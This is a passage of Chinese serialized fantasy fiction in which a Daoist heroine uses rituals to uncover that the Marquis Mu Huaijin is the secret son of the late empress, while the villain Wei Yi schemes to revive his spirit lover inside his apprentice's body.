“有谁听过哪种病是接近女子就会发狂吗?还有那黑气,根本就是为了遮住你身上的紫气而特意施加的。” 周祎仁及在场其余人皆恍然大悟,“原来如此,我就说世上怎会有接近女子就发狂的怪病。如果怀瑾是被施了咒,一切便都能解释的通了。” “我明白了!”一旁的慕怀灵忽然灵光一现,一面在正厅中踱步,一面异常认真地说:“是太后命卫颐向先皇后下咒,致使她难产而崩。 先皇后所生的嫡子本应也在当时夭折,可不知为何他却没有死。并且不知是谁用了什么办法,将他从皇宫偷偷抱了出来,送进了永嘉侯府。 而这个孩子,长大后便继承了永嘉侯的爵位。他便是当今的永嘉侯慕怀瑾!” 在场众人:“!!!”这番猜测逻辑缜密,听起来相当合理! 慕怀瑾:“……”这丫头是不是话本看多了,竟编出如此离谱的故事。 “如今的证据,仅能证明我曾被卫颐下咒,无法证明我就是孝任皇后的孩子。怀灵,平白无据的,休要胡编乱造。” 慕怀灵不服气道:“什么胡编乱造,我这是有理有据的推测!大哥你不觉得自己与爹娘长得一点都不像吗?” “怀瑾,我也同意怀灵的看法。”周祎仁帮着说:“你不仅跟老侯爷长得不像,连性子也不像。其实我早就发现了,只不过未说出来而已。” 慕怀瑾正想开口反驳,却被徐莞打断,“想要证据嘛,我倒是有个办法。” 众人的目光再次齐聚徐莞的身上,“徐观主有何办法?” “我去检查一番孝任皇后的遗体,看看她有无被施过咒的痕迹便知。” “可是,孝任皇后已驾崩了三十年,她的遗体早就化为了白骨。如此还能探查到咒术痕迹吗?” 徐莞思忖片刻道:“若是没有遗体,有孝任皇后生前贴身的遗物也可。” “这…也不好找哇。”周祎仁道:“孝任皇后已驾崩三十年,与她接触过的人大多也已不在人世。我们到哪儿去找她的遗物呢?” 周祎仁的话音落下,正厅内众人皆陷入沉思之中。 如今在场的人中,只有慕怀瑾与周祎仁常年在京城,对皇族旧事有所了解。 若是他们都想不出,那么其他人便更无从得知了。 少倾,慕怀瑾忽然想到了什么,眼眸一亮道:“有一位殿下与先皇跟先皇后都接触过。” 众人异口同声问道:“是谁?” “大长公主。” 慕怀瑾此言一出,众人顿时恍然大悟,如同拨开云雾见青天,方才的迷惑困顿顷刻间烟消云散。 “大长公主不是早就被师父收复,甚至将师父看作救命恩人了?”朱雀道。 慕怀瑾点点头,“没错。菀菀,若是你亲自去一趟大长公主府,我想殿下定会帮你。” 徐莞听后也不禁露出一抹胸有成竹的笑,“小菜一碟。” === 不知过了多久,刘云蕊才渐渐恢复了些意识。 她隐约听见耳畔有人在说话,其中一个正是师父那温柔魅惑嗓音。 而另一个,却是一个女人的声音,并且非常耳熟。 她奋力睁开眼,眼前出现的竟是卫府后花园中,荷花池旁景色。 我方才不是在修炼阁晕倒的吗?怎么这会儿跑到后花园了? 而且从她的视角望去,自己竟还站立着,同时慢慢悠悠地往前走着。 刘云蕊心中刹那冒出几个问号。 ??? 我怎么在走路?可是…我没有在走路啊。 就好像…她透过另一个人的视角在看周围的环境。自己没有移动,但那个人移动了,眼前的景象便也跟着有了变化。 这是怎么回事? 耳边卫颐的嗓音却还不住叨念着,“你将将归神,还是莫要太过操劳,多休息温养才好……” “师父…师父?”刘云蕊向卫颐叫道。 但她却没听见自己说出口的话,而是听见另一个女人,用她的声音向卫颐嗔怪道: “你还是同过去一样喜欢大惊小怪。我已沉睡了三十多年,如今好不容易苏醒,你还要让我一直躺在房里吗?” 刘云蕊悚然一惊。 什么?这是我说出的话?可是我没说啊?但这分明就是我的声音… 这到底是怎么一回事? 立在卫颐身旁的“刘云蕊”忽然脚步一顿,面上的笑容倏然消失。 “怎么了阿茵?”卫颐即刻紧张地问。 阿茵捂着胸口,抬眼望向他,沉声道:“这个女人醒了。” 听到这句话的刘云蕊彻底懵了。 “什么叫这个女人?你是谁!你到底是谁!” 刘云蕊似被囚禁在一片完全漆黑的空间内,仅能从一个小小的窗口,看见外界的情景。 而外面的人看不见她,也听不见她的呐喊。 唯有这个被称为“阿茵”的女人能够听见她说了什么。 但她却不能控制自己的身体,只能眼睁睁看着阿茵用她的身体和声音,与卫颐有说有笑。 刘云蕊以为自己被人施了咒,卫颐得知后,定会帮她解咒。 可没成想卫颐听了阿茵的话,面上的紧张关切一顿,慢慢化为了略带讥诮的漫不经心。 “她醒了啊。没事,她目前应该控制不了这具肉身了吧。” 什…什么意思? 难道师父清楚她的情况?那他为什么…… 第403章 403.被囚禁虚空中 阿茵轻嘲一笑,“这姑娘还真是单纯。你让她做什么她便做什么。事到如今她还想向你求救。卫颐,三十年了,你魅力依旧不减啊。”说着,轻佻地伸手戳了一下卫颐的胸口。 三十年前,卫颐乃紫霄观的一名杰出弟子。 而阿茵,则是一只琉璃精。 他们在一场紫霄观做的法事中相识。此后阿茵便缠上了他。 那时还醉心于道法,不懂儿女情长的卫颐,在日复一日与阿茵的相处中,被这个古灵精怪,善解人意,又温柔魅惑的小妖吸引,第一次体会到人世间情爱的美妙。 可这美妙动人的爱情,却发生在道士与妖精之间。 当年的紫霄观观主得知此事后大发雷霆,当即命令卫颐亲手将阿茵杀了。 卫颐却下不去手。紫霄观观主便亲自动手将阿茵诛杀,并警告卫颐,若有下次,定将他逐出紫霄观。 观主离开后,卫颐在心痛之下迅速收集起破碎的琉璃,用尽自己的道行,将琉璃上仅存的一丝精魂保留了下来。 与此同时,他也恨上了自己的师父。自此之后,卫颐便暗中研究起了将人和精怪魂魄复活的禁术。 皇天不负有心人,卫颐终在紫霄观藏经阁的禁区找到了一本记载着复活精怪的禁书。 按照书中记载,需用活人的魂魄献祭方能复活。 一心想要复活爱人的卫颐,竟走火入魔般,杀害了一名向来与自己不合,又撞破自己秘密的师兄。 可没成想,仅仅一只魂魄根本无法复活精怪。卫颐只好利用师兄的魂魄将阿茵仅剩的一丝精魂,转移到了一条绿松石项链上,如此方能长期保留。 师兄的死很快怀疑到了卫颐身上。经过一番调查,紫霄观观主终于查清了真相,勃然大怒。 他废了卫颐的道行,将他判为紫霄观罪大恶极之人,最后将其逐出师门。 被逐出师门后,卫颐虽没了道行,但他天分极高,经过几年的修炼,道行便回到了先前的水平。而他也从未放弃过复活阿茵的想法。 他明白想要复活阿茵,仅靠三五只魂魄绝无可能。至少需要数百甚至上千只。 想要在不令人怀疑的情况下,获得数量如此庞大的魂魄,只有通过战争来获得。而想要操纵军队挑起战争,就必须卷入朝堂。 于是,卫颐设法搭上了当时还是淑妃的太后,帮了她几个小忙,再献上几颗可永葆青春的丹药,随后便一路平步青云,坐上了钦天监监正之位。 可仅是如此还无法复活阿茵,还需一具完美的肉身,让阿茵的精魂能够借尸还魂。 三十年来,卫颐未找到一具完美的肉身,直到他遇见刘云蕊。 仅一眼,卫颐便看出刘云蕊身上的魂魄并不是原主。 而这正因她的这具肉身极其特殊,如同一件任何人都可穿的衣裳,对各种魂魄来者不拒。 因此,用她的肉身来复活阿茵,便不会产生排异的症状。 随后,卫颐寻找机会救下刘云蕊,又收她为徒将其留在身边。 再将附有阿茵精魂的绿松石项链送给刘云蕊,嘱咐她日日佩戴。阿茵的精魂便可在潜移默化间,慢慢占据刘云蕊的肉身。 这也是刘云蕊近来总是突然失去意识,醒来后却发现自己身处他处,却怎么也想不起之前发生了何事的原因。 直至今日,阿茵精魂的力量已远超刘云蕊,因而能够将刘云蕊压制,从而自己掌控这具肉身。 若是再过段时日,阿茵的精魂便可将刘云蕊彻底挤走。到那一日,刘云蕊的魂魄便会彻底消失。这具肉身也就会完全变成阿茵。 思及此,卫颐垂眸愉悦一笑,而后抬眸用那勾人的眼神望向阿茵。 “此话不假。三十年了,你不还是舍不得我吗?” 话毕,卫颐露出一抹极其妖冶的笑,抬手将她拉进自己的怀中。 阿茵浅浅挣扎几下,便半推半就地靠进了他的怀中,面上浮现出幸福满足的笑,同时缓缓道: “果然跟男人比,女人的心狠手辣根本不值一提。若是这个傻姑娘知道你送给她的绿松石项链,上面附着的是我的精魂,估计她会崩溃大哭吧。” 听到这句话,刘云蕊霎时一震。 什么?那个绿松石项链…… 竟然装着这个女人的精魂…… 那么师父将项链送给我,难道是想… 正想到此处,面前的卫颐再次开口,“哭就让她哭吧。谁让她的肉身如此适合精魂呢。左右她也是鸠占鹊巢,就算她的魂魄从这世上消失,也无人在意。” 被困在肉身中的刘云蕊闻之,顿时又惊又怒。 他竟然知道我不是这具肉身的主人? 所以他便利用我,将阿茵这个女人的魂魄,也放进了这具肉身里? 思及此,一股寒气从小腿一路蔓延而上。 所以卫颐一直都知道,却一直瞒着我,利用我。 他与慕煜衡那个渣男有何区别! 他甚至比慕煜衡还要狠毒!慕煜衡起码没有想要我的命! 而自己却将卫颐当做救命恩人,当做给她新生活的人,甚至还迷恋上了他。 刘云蕊啊!你怎么如此糊涂! 被骗一次还不够,竟会被骗第二次! “卫颐!你这个骗子!快把我放出去!我没有同意你用我的肉身!” 可无论她在小黑屋中如何呐喊丝毫,卫颐也听不见任何声音,而是继续将阿茵搂在怀中。 刘云蕊望着他们的一举一动,发疯一般拼命尖叫狂喊,甚至发狠一般在小黑屋中胡乱踢踹,却一丝作用也无。 就在这时,一道震耳欲聋的女声,如雷鸣般在她头顶上方响起,“别喊了!继续睡你的去吧!” 当刘云蕊将将分辨出那是自己的声音时,已被震得头脑发晕,渐渐失去意识倒了下去。 少倾,卫颐与阿茵渐渐拉开距离。 阿茵望着卫颐道:“我将她弄晕了。真是吵死了。” 卫颐心疼怜惜地望着她,“再等等。待时机成熟,我便可用血魂咒和玉拂尘将你彻底复活。到时候,就没有什么刘云蕊,只有你,阿茵。” 阿茵定定凝视着他,眼中有动容幸福摇曳,“好。” 说罢,二人再次向对方靠近,直至亲吻在一起… 第404章 404.梦见先皇后 夜深人静。 大长公主府内各个院落也都熄了灯,整座府邸陷入一片漆黑沉静。 在这静谧如水的夜色中,大长公主也早已进入梦乡。 而她今晚梦到的,却是三十年前,在宫中的一幕幕。 “皇后姐姐,你说你肚子里的,是小皇子,还是小公主呢?” 当年还未及笄出嫁的大长公主,平日在后宫中最常去之处,就是皇后的寝宫了。 只因她身份尊贵,性子又高傲,旁的嫔妃皆一心想巴结她,却被她一眼看穿。 唯有皇后姐姐与她相处,是真心待她,无任何私心,因而她与皇后的关系最为亲密。 皇后有孕后便极少出宫,大长公主遂每日都去皇后宫中坐坐,陪她说说话,做做女红。 “皇后姐姐,你说你肚子里的,是小皇子,还是小公主?”还未出嫁的大长公主,好奇地望着皇后隆起的孕肚问。 皇后微微一笑,低头目光温柔地望向自己的肚子,“本宫也不知呢。菁华你觉得是皇子还是公主?” “我觉得是皇子!”大长公主斩钉截铁地说:“若是你肚子里的是皇子,皇兄定会将他封为太子。到时候看那些妃子们还如何痴心妄想!” 皇后略略无奈地笑笑,“菁华你总是想些有的没的。后宫的姐妹们都处的融洽,哪有什么痴心妄想。 要我说,腹中的无论是皇子还是公主,只要是我的孩子,都好。” 大长公主暗叹一声,恨铁不成钢,“姐姐,你怎的比我还天真。先前你被惠妃算计得差点滑胎,你都忘记了吗?” 皇后闻言垂下眼睫,面上笑容渐渐隐去,似是不想多谈此事。 “那只是个意外,我与腹中孩子不是还好好的吗?今后就莫要再提那事了。” 语毕,皇后将手中正在缝制之物拿高,笑着对大长公主问:“菁华,你看本宫缝的这肚兜好看吗?” 只见皇后手中那小小的红肚兜上,绣着一只小老虎坐于盛放的莲花之上,莲花旁还有两只鲤鱼甩尾环绕。色彩鲜艳,绣工精致,一看就让人喜欢。 大长公主即刻眼眸一亮,“皇后姐姐好手艺啊,简直比宫中布衣局的绣工做的还好!小皇子穿上绝对漂亮可爱。” “嘿嘿嘿...”皇后听罢幸福地笑着,将小肚兜放在自己肚子上比划着。 可下一瞬,她却柳眉微蹙,面露痛苦之色。 “你怎么了姐姐?”大长公主发现不对,立即起身上前询问。 皇后却一手捂着肚子,连说话都没了力气,“肚子...肚子好痛...” 大长公主正准备喊宫人前来,突然眼前光线一闪,周围景物豁然从皇后寝宫变成了一片漆黑的空间。 而后啪的一声,一束光线自头顶上方打下,照亮了眼前的一片地界。 但见皇后弯腰捂着肚子立在自己面前,死死抓着她的手臂求救,“菁华...菁华救救我...救救我的孩子...” 大长公主焦急之下,竟见一股红色,从皇后雪白的裙摆下漫了出来。 “皇后姐姐...你...” 大长公主惊恐地望着这一幕,只见这片红色越漫越大,仿若一片狰狞强势的寄生物,染红了皇后的裙角,之后迅速蔓延,淹到了大长公主的脚下,并且还在不停蔓延。 再下一刻,大长公主低头发现自己半个身子竟都浸泡在了这粘稠腥臭的红色液体中。 一抬头却见面前的皇后面色惨白,手中捧着一个满身是血的婴儿,将婴儿慢慢向她递去。 “菁华...她想害我的孩子...求你救救我的孩子...” 大长公被这一幕吓得心脏差点跳出来,尖叫着转身想跑,却被人拽着一通乱喊。 “殿下!您醒醒啊!殿下你怎么了!殿下快醒醒!” “啊啊啊啊!” 大长公主尖叫着猛然坐起身睁开眼,恍然间发现眼前有昏黄的烛光,且有好多人在眼前围着她。 她大叫一阵后坐在被衾中大口喘着气,脑中还回放着方才那恐怖至极的一幕。 良久,她的意识才渐渐回到眼前的现实中来,发现自己还躺在寝屋的床榻上,周边都是她信任的下人,这才长舒一口气。 “本殿...本殿方才是魇住了?”大长公主断断续续问。 一旁的丫鬟忙将茶水递给柳嬷嬷,柳嬷嬷再将茶盏呈至大长公面前,道: “是啊殿下。奴才们方才在门外听见您的叫声,连忙跑进来。看到您还躺在床上梦魇,所以忙将您喊醒,还望殿下恕罪。”说着,柳嬷嬷领着身后一众嬷嬷丫鬟跪了下去。 大长公主接过茶水喝了几口,才将心缓缓放了下来,“何罪之有?快起身吧。多亏你们将本殿叫醒,否则本殿此时还不知能不能醒呢。” 柳嬷嬷起身后试探着道:“殿下这会儿好些了吗?要不要奴婢叫御医前来看看?” 大长公主将茶盏递回去,摆摆手道:“不必了。本殿已无大碍。你们都下去吧。” “是,殿下。” 下人们都退出去后,大长公主独自一人躺在床榻上,睁着眼望着上方的床帏,脑海中再次闪现出方才梦中那骇人一幕。 不过此次再想起时,已无了先前那种恐惧,而是一种对先皇后的疼惜与悲痛。 皇后姐姐性情纯善,为人宽和大度,从不与人争锋。可正是因她太过单纯懦弱,才在惨烈的后宫斗争中早早退了场。 大长公主在唏嘘哀叹之时,不由得又想起梦中先皇后抱着孩子向她求救那一幕,不禁令她肝肠寸断,只恨自己未能帮上忙,让他们母子二人双双殒命。 不过先皇后直至临盆,自己与腹中胎儿都好好的,未有丝毫难产迹象。 怎会在分娩时突然大出血,进而一尸两命了呢? 想到此处,梦中先皇后对她说的话,霎时滑入她的脑海。 “菁华...她想害我的孩子...求你救救我的孩子...” 她想害我的孩子? 难道是有人在其中动了手脚? 一定如此! 皇后姐姐向我托梦,就是为了告诉我此事! 她让我救救她的孩子... 倏然间,一个念头猛地在大长公主脑中炸开。 难道...皇后姐姐的孩子没有死? 第405章 405.大长公主急切登门 翌日,慕怀瑾与徐菀起身后,正在花园中用早膳,东珠忽然快步来到花园外,微微躬身通报: “侯爷,夫人,大长公主在正厅求见。” 闻言,慕徐二人默契地相视一笑。 “菀菀,你的法事还真灵。殿下果然一早就赶来找你了。”慕怀瑾侧过身宠溺又钦佩地望着徐菀。 徐菀则淡定地拿起手帕沾沾嘴角,一副“有何大惊小怪”的表情,斜睨他一眼道:“本观主的法事何时失灵过。走吧,我们去瞧瞧。” 原来,此前他们打算从大长公主处下手时,却不知如何开口。徐菀便想到可用梦境的方式引导大长公主主动来找他们。 遂,昨晚夜里徐菀便在侯府内做了一场小小的法事,让大长公主梦见先皇后。 而无论梦境中先皇后对她说了什么,对鬼神之事深信不疑的大长公主,都定会亲自来找徐菀,请她解惑。 因而,今日大长公主便在徐菀的意料之中,一大早找来了永嘉侯府。 当慕徐二人穿戴整齐来到正厅之时,已坐了一盏茶功夫的大长公主即刻站起身,快步向他们走来。 “菀菀呐,可算见到你了。” 由于慕怀瑾不能离女子太近,因而走进正厅时,与徐菀隔开了一段距离。 而大长公主望见他们后,径直向徐菀走去,一把握住她的手便是一顿絮叨,眼风都未往慕怀瑾身上瞟一眼,着着实实将他当做了空气。 一旁的慕怀瑾:“......”好嘛,看来只要菀菀在就够了,我是不是可以回房睡回笼觉了。 直到大长公主握着徐菀的手,将昨晚所见讲完,她才猛然发现慕怀瑾也站在厅内,“侯爷也来了啊。” 慕怀瑾:“......”那我走? 体察到慕怀瑾的尴尬,徐菀不着痕迹地说:“殿下,侯爷方才在忙生意上的事,将将过来。不如我们坐下来慢慢细聊?您说的关于先皇后之事,让怀瑾知道也无妨吧。” 大长公主转过头定定望了慕怀瑾片刻,之后轻缓而坚定地点头,“好。无妨。” 三人落座后,徐莞问道:“殿下,您方才说,先皇后在梦中告诉您,当年有人害了她和小皇子是吗?” “对。本殿觉得自己不会平白无故梦见先皇后,定是她想托梦给我,让我帮她查清当年之事。” 大长公主顿了顿,略略焦急道:“菀菀,你可有何法子能帮忙查一查?” 徐莞与慕怀瑾相视一眼,随后安抚道:“殿下莫急。菀菀不才,仅能查出先皇后是否有被施咒的痕迹。若是她被人用其他方式所害,我便查不出了。” “这样啊…”大长公主垂眸思忖片刻,而后再次望向徐莞,“那就劳烦你先试试了。” “好。”徐莞应道:“殿下,做法需先皇后生前时常随身之物。请问您那里可有?” 大长公主又思索了一阵,而后从袖中取出一件小小的红色肚兜。 或许是因有了些年岁的关系,肚兜有些许褪色。但其上绣着的小老虎,莲花以及锦鲤,色彩依然鲜亮如新。 “这是先皇后临盆前,为小皇子亲手绣的肚兜。她日日都将之捏在手中,夜晚就寝也不曾离手。不知可不可以。” 小肚兜被拿出之后,立时吸引了慕怀瑾与徐莞的视线。 尤其是慕怀瑾,在望见这肚兜的一刻,心底忽的升起一股说不清道不明的奇异之感。 “可以一试。”徐莞点点头,同时还不忘谈做法事的价钱,“殿下,此法事需一百两,不知您……” 她的话还未说完,大长公主便明白了她的意思,立即示意柳嬷嬷将携带的银票呈给徐莞与慕怀瑾。 望见那一厚沓银票,徐莞心中一阵雀跃,心想还是富贵人家的钱好赚啊。 “多谢殿下!请殿下先在此稍作休息。妾身去准备片刻便即刻做法。” 话毕,徐莞起身回到松风苑准备做法事的器物,慕怀瑾则留在正厅陪大长公主。 但二人平日里不甚熟悉,因此有些尴尬,静静坐了半刻都无一人说话。 末了,还是慕怀瑾抑不住好奇,开口问道:“没想到殿下与先皇后的感情如此深厚。先皇后有您这样关心在乎她的妹妹,她应会死而无憾。” 闻言,大长公主转头望向他,淡然又苦涩地一笑,而后摩挲着手中的茶盏,目光又投向正厅外的荷花池中,似是想起了曾经的点点滴滴,感叹道: “先皇后是皇宫中唯一一个完完全全无害人之心的人。她极其纯善,对身边的每一人,无论是嫔妃还是下人,都一视同仁。我也正是因她的善良与真实,才喜欢与她交好。 可惜…老天爷不让好人有好报。皇后姐姐竟遇此意外身亡,且一尸两命。” 说到此处,大长公主收回目光望向慕怀瑾,淡淡一笑,“若是她的孩子还活着,应该有你这般大了,甚至孙儿都有了。” 慕怀瑾的嘴角也微微弯了弯,“如此一说,在下对先皇后更加好奇了。” 大长公主笑着接口道:“那就待本殿查清此事后,好好与侯爷讲讲先皇后生前之事。” 话至此处,徐莞正好从内院走了出来,两位徒弟也跟在她的身后。 朱雀手中端着一个装着半盆水的铜盆,白虎怀中则抱着一把被刷成黑色的油纸伞。 徐莞吩咐他们将器物放在正厅前的庭院中。 大长公主见此,便在嬷嬷们搀扶下好奇地走了过去。 “菀菀,做法事只需要这两样法器吗?” “对,”徐莞回道:“除此之外还需几道符纸。此法事相对容易,不到一柱香功夫便可知先皇后生前可有中咒。” 随后,大长公主便在嬷嬷们的陪同下立在一旁,等着看徐莞做法。 慕怀瑾也走了出来,立在另一边全神贯注地观望着。 但见白虎立在阳光下,将黑伞撑起,朱雀则将铜盆放在了黑伞的阴影下。 而后,徐莞从小荷包中取出一道符纸,夹在食指与中指之间轻轻一挥,符纸便燃起火来。 第406章 406.真相浮出水面 徐菀从小荷包中取出一道符纸,夹于指间轻轻一挥,符纸便燃起火来。 徐莞却无丝毫灼痛之态,依然平静地默念咒语,直到符纸燃去大半,她才将其丢入铜盆中。 而在她念咒做法的同时,慕怀瑾亦立在一旁,向大长公主等人解释道: “此法事乃《道门全书》中记载的,可勘咒术痕迹之术。那把黑伞可挡去正午纯阳之气。铜属金,亦可摒除受试器物上残留的魂气。最后再将受试器物浸泡于符水之中。若是器物变色,便可证明其上确有咒术痕迹。” 在慕怀瑾解释的同时,徐菀已将大长公主给的小肚兜放进了铜盆之中。 大长公主与嬷嬷们向前几步凑近了望去,但见那肚兜放入符水中后很快被浸湿。之后渐渐地,其颜色竟从大红色,一点点变成了深褐色。 “这...这...”大长公主惊得倒吸一口气,瞪大了眼难以置信。 慕徐二人亦不禁被眼前一幕震慑。 尤其是徐菀,她似乎从那深褐色中看出了什么,猛然望向慕怀瑾,眼底涌动着几分震撼与激动。 “殿下,这肚兜确实有被施咒的痕迹。”徐菀收回目光望向大长公主,“并且,此咒若是施在有孕的女子身上,还会影响到其腹中胎儿。轻则使胎儿疯癫或痴傻,重则一辈子躺在榻上,永远无法醒来。” “啊!那这...”大长公主面露恐慌之色,不过片刻后她又意识到了什么:“如此说来,此咒不会直接导致胎儿殒命。那为何先皇后难产那晚,太医说小皇子也薨了呢? 小皇子到底是被当时在场之人害死了,还是说...小皇子其实没死,只是被人狸猫换太子了?” 思及此,大长公主勃然大怒,“大胆!那些贱人竟敢在皇兄跟本殿眼皮子底下谋害皇后姐姐与小皇子。本殿定要查出到底是谁动的手脚,让他们血债血偿!” 话音刚落,管家福叔忽然匆匆来报。 “侯爷,夫人,方才不知是何人敲响府门。门房去开门时已不见人影,只有这封信放在门口。” “速速呈过来。”慕怀瑾道。 福叔将信封递到慕怀瑾手中便退了下去。慕怀瑾拆开信封取出信纸一看,瞳孔骤然一缩,眉心蹙起,就连握着信纸的手都有些微微颤抖。 “怀瑾怎么了?那信上说了什么?”徐菀见势不对,急切问道。 慕怀瑾将目光从信纸上移开,露出一抹难以形容的复杂表情,有震惊,有疑惑,有心痛,有愤恨,亦有一丝彷徨与纠结。 他并未开口回应,而是侧过头去避开她的目光,伸手将信纸递给徐菀。 徐菀即刻接了过去,大长公主与朱雀白虎立时聚拢在她身边,朝着那封书信看了过去。 先皇后临盆那晚的真相,便历历浮现在她们眼前... 三十年前,建业二十八年,九月十四,亥时。 一阵阵产妇分娩时的惨叫,划破寂静的夜色,在皇后寝宫回荡。 宫女嬷嬷们端着水盆、布巾,与生产所需器物,于皇后寝屋内进进出出,脚步匆匆。 皇后寝屋内,数名接生婆围在床榻周围,伴着两名御医与几名太监,皆紧张投入在这场生死接力当中。 良久,一阵响亮的婴儿啼哭声终于从寝屋中传了出来。 为首的接生婆小心翼翼地用襁褓将刚刚出生的婴儿包裹严实,语声激动道: “生了…皇后娘娘生的是小皇子!恭喜皇上皇后喜得皇子!” 床榻上将将分娩完,满面是汗的皇后,仅看了自己的孩子一眼,便忽感脑中一阵眩晕,无力地跌回被褥中。 四周即刻响起嬷嬷们焦急地呼唤声,“皇后娘娘!皇后娘娘您怎么样!” 一位产婆慌乱地抬起头道:“不好了,皇后娘娘大出血了,血止不住啊……” “太医!快想想办法!” 皇后寝屋内顷刻间乱成一团。 可皇上此时却在北疆御驾亲征,来不及赶回京城,因而宫中便有许多双眼睛,盯上了皇后及其刚出生的小皇子。 就在太医与产婆全力抢救皇后时,小皇子那边也异常手忙脚乱。 早已准备好的奶娘本想给小皇子喂奶。可小皇子却怎么都不吃,在奶娘怀中扯着嗓子嚎啕大哭,换了三四位奶娘后依然如此。 几位嬷嬷与女官也都围在小皇子身边,挨个抱过小皇子哄。可她们越哄,小皇子哭得就越厉害,就好像异常不情愿被她们抱一般。 就在这混乱之间,皇后身边的贴身女官方嬅将小皇子接了过去,说是要将其抱去偏殿,用勺子喂奶。 之后便抱着小皇子急匆匆离开了寝屋。 但她出门后却并未向偏殿而去,而是从寝宫后门溜了出去。 原来方嬅已被人收买,待小皇子诞生后,便要奉命将其抱走处理掉。 可如今小皇子却在她怀中不住哭嚎,尽管下着大雨,小皇子的哭声在黑夜中也格外响亮,难免会引人注意。 若是引来其他宫中的主子,或是让谁听到小皇子没有死,那么方嬅便没法向收买她的娘娘交代了。 就在她束手无策之时,一位宦官出现帮她解了围。 “将孩子给我,我帮你处理掉。” 只因方嬅知道这位宦官也是那位娘娘的人,她便没有多想,将小皇子交给了他。 神奇的是,小皇子一离开方嬅的怀抱便安静了下来,躺在宦官怀中十分乖巧。 宦官低头望着襁褓中的小皇子,头也不抬地对方嬅道:“你回去吧。” 方嬅便像甩掉了一个包袱般长舒一口气,“多谢公公。”话毕便转身快步离开了此地。 这位宦官将小皇子抱走后,却并未将其处理掉,而是穿戴上斗篷与兜帽,将小皇子护在怀中,向皇宫东南角而去。 之后便从那里的一处暗道溜出皇宫,向永嘉侯府赶去。 趁着夜色与大雨,谁都未注意到这个黑色身影。 直到赶到永嘉侯府门外,他将一封信与一件信物放进襁褓中,再将小皇子放在门槛之下,之后敲敲门便转身走开。 但他并未走远,而是躲在不远处的拐角后一瞬不瞬地望着那边。 第407章 407.抱进慕家的孩子 那人却并未走远,而是躲在永嘉侯府斜对面一处窄巷的拐角处,一瞬不瞬地望着侯府大门。 少倾,侯府大门吱呀一声敞开一条缝,一名管家打扮的男子从门内探出头来。 他先是警惕地向四周望了一圈,未发现异常后正要退回去关门,却猛然望见了放在地上的襁褓。 直到望见管家将地上的襁褓抱起,退回府内关闭大门,躲在暗处的太监才暗舒一口气,再次赶回皇宫,从密道回到宫内。 随后,他从手下那里接过准备好的死婴,回到皇后寝宫交给方嬅女官。 方嬅见到死婴又惊又怕,不敢掀开襁褓检查,便抱着死婴回到寝宫,宣布了小皇子已死的消息。 至此,皇后难产大出血,与小皇子一尸两命的消息,一晚上便传遍整座皇宫。 待皇上次日一早赶回宫时,见到的只有皇后与小皇子冰冷的遗体。 可谁都不知道的是,真正的小皇子已被那位宦官送出了皇宫,送进对皇上忠心耿耿的永嘉侯府内…… 徐莞与大长公主握着信纸读到此处,心内霎时已明白了一切。 大长公主缓缓抬起头望向不远处的慕怀瑾,激动的泪光在眼底摇晃。 “怀瑾…原来你就是皇后姐姐的儿子…你才是我皇兄的嫡子!”说着,泪水已从她的眼角滑落。 而那方的慕怀瑾,却还是有些难以接受这个事实。 他微微侧身低头,刻意避开大长公主的视线,隐忍道:“这封信是谁送来的?不能仅凭这封信就断定我是先皇后的儿子。” 谁料,大长公主举着信纸向慕怀瑾道:“这张信纸上印着的飞鱼纹章,只有在宫中待了四十年以上的老宫人才知。 恰好本殿见过这纹章。他就是司礼监掌印太监,李德全。” “李公公?”听到这个名字,慕怀瑾不禁惊诧侧目,“李公公不是当朝太后的人吗?至今他还随侍在皇上身侧…” 徐莞也未想到那个随侍在皇上身后的宦官,竟有如此勇气,将太后想处理掉的小皇子,偷偷掉了包。 “他如今确实在为太后做事。但说不定他有自己的盘算,或者他一直是双面间谍。” 慕怀瑾听罢心情复杂。毕竟猛然之间得知自己竟是先皇后之子,任何人都会觉得不可思议。 “想要知道这封信的内容是真是假,还有一个人可以告诉我们。”一旁的徐莞忽然开口。 “是谁?”大长公主问。 徐莞眼风一转望向慕怀瑾,“就是怀瑾现下的娘亲,永嘉侯府的老夫人,黎老夫人。 若怀瑾真是被抱回来的,黎老夫人定然知道那晚之后发生了什么。说不定还知晓想要害先皇后与小皇子的幕后之人。” “说得对!”大长公主赞同道:“老夫人一定知道。只是…不知她愿不愿意告诉我们真相。” 话至此处,自内院忽而传来一道苍老却沉稳的嗓音: “既然你们都已猜到了,老身也没什么好隐瞒的了。” 众人闻声望去,慕怀瑾眸光一震,立时起身脱口而出,“娘!” 只见黎老夫人在慕怀灵与慕怀清薛敏芝的搀扶下,缓缓向他们走了过来。 “娘。” “老姐姐” 徐莞向黎老夫人施礼,大长公主也向她打了声招呼。 黎老夫人望着他们,眼中涌动着复杂的情绪,随后似下定决心般,定定望着慕怀瑾道: “怀瑾确实不是老身的孩子。他的亲生爹娘,正是先帝与先皇后!” 轰隆隆! 此话一出,仿若一道惊雷在永嘉侯府上空炸响,震得府中众人震惊侧目,齐齐望向慕怀瑾。 而慕怀瑾本人眼中极快地闪过一瞬惊愕,之后便垂下了眼眸,双拳紧握绷直在身侧,面上一派纠结难绷之色。 徐莞则上前向黎老夫人问:“娘,您说的是真的吗?当年到底是怎么一回事?” 闻言,黎老夫人示意慕怀灵和慕怀清将她扶到正厅坐下。 待众人都进了厅内坐定,黎老夫人才轻叹一声,将当年之事娓娓道来。 “老身至今还记得很清楚,那夜落着大雨,而我还沉浸在自己的孩子未足月便夭折的悲痛中。 就在那时,福叔抱着一个由黑毯裹住的襁褓来到我的院中。 当李嬷嬷将黑毯解掉递给我时,发现内里竟是一条黄稠绣着龙纹的包被。 我将孩子抱在怀中,看着他那又红又嫩的小脸,一时间便不想再放手了。 在看过襁褓中的信与信物后,我也明白了这个孩子的身世,但我并不畏惧。 这个孩子就像上苍赐给我的礼物,让我在绝望中窥到了一丝丝希望。 我决定收下这个孩子,无论他是否会为侯府惹来杀身之祸,我都愿意承受。 待侯爷从北疆战罢回府后,我便将孩子的身世真相告诉了他。 侯爷竟也爽快答应下来,就将这孩子当做我们的亲生儿子,由侯府护他一生一世。 本以为日子就能如此平静幸福地过下去。可没成想两年后,当初谋害先皇后与小皇子的人,竟发现了小皇子没死,且就在永嘉侯府。 但他们不敢明目张胆闯进永嘉侯府行凶,于是便想借咒术置那孩子于死地。 那段日子,简直是我一辈子的噩梦。原本乖巧可爱的孩子,一连数日不吃不喝,整日哭闹不安。 看着那日渐消瘦的小脸,和他无比痛苦的表情,我这心里啊,真是比剜了肉还难受,日日以泪洗面,夜夜寝食难安。 